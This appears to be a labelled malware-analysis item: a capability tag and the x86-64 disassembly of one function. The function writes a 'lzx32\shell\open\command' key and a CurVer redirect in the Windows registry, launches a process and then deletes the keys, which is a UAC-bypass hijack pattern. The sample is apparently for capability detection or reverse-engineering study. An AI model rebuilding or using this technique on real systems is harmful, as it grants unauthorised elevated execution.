Function at 0x140015906
Capabilities:
Delete registry key

Disassembly:
jmp 0x140026aa0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, [0x140078eaf]
call fcn.140015b09
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x48], 0
lea rdx, [rbp + 0x28]
xor ecx, ecx
call fcn.140015721
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140026b1b
jmp 0x140026d0c
mov edx, 0x208
lea rcx, [rbp + 0x90]
call fcn.1400157e4
lea rdx, str.lzx32
lea rcx, [rbp + 0x90]
call fcn.1400151ea
lea rdx, str._shellopen
lea rcx, [rbp + 0x90]
call fcn.140015a96
lea rdx, [0x14004a640]
lea rcx, [rbp + 0x90]
call fcn.140015a96
lea rdx, str.command
lea rcx, [rbp + 0x90]
call fcn.140015a96
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140026bff
mov rcx, qword [rbp + 0x460]
call fcn.14001528a
lea rax, [rax + rax + 2]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x68]
mov dword [rsp + 0x20], eax
mov r9, qword [rbp + 0x460]
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x48]
call fcn.14001505f
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 4], 0
jge 0x140026c0a
jmp 0x140026d0c
mov qword [rbp + 0x48], 0
mov rdx, qword [rbp + 0x450]
lea rcx, [rbp + 0x90]
call fcn.1400151ea
lea rdx, [0x14004a640]
lea rcx, [rbp + 0x90]
call fcn.140015a96
lea rdx, str.CurVer
lea rcx, [rbp + 0x90]
call fcn.140015a96
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140026d02
lea rcx, str.lzx32
call fcn.14001528a
lea rax, [rax + rax + 2]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x68]
mov dword [rsp + 0x20], eax
lea r9, str.lzx32
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x48]
call fcn.14001505f
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140026ce7
xor edx, edx
mov rcx, qword [rbp + 0x458]
call fcn.1400159dd
test eax, eax
je 0x140026ce7
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor eax, eax
test eax, eax
jne 0x140026b02
lea rdx, str.lzx32
mov rcx, qword [rbp + 0x28]
call fcn.140015b63
cmp qword [rbp + 0x28], 0
je 0x140026d2d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004ba70]
call fcn.14001595b
mov eax, edi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret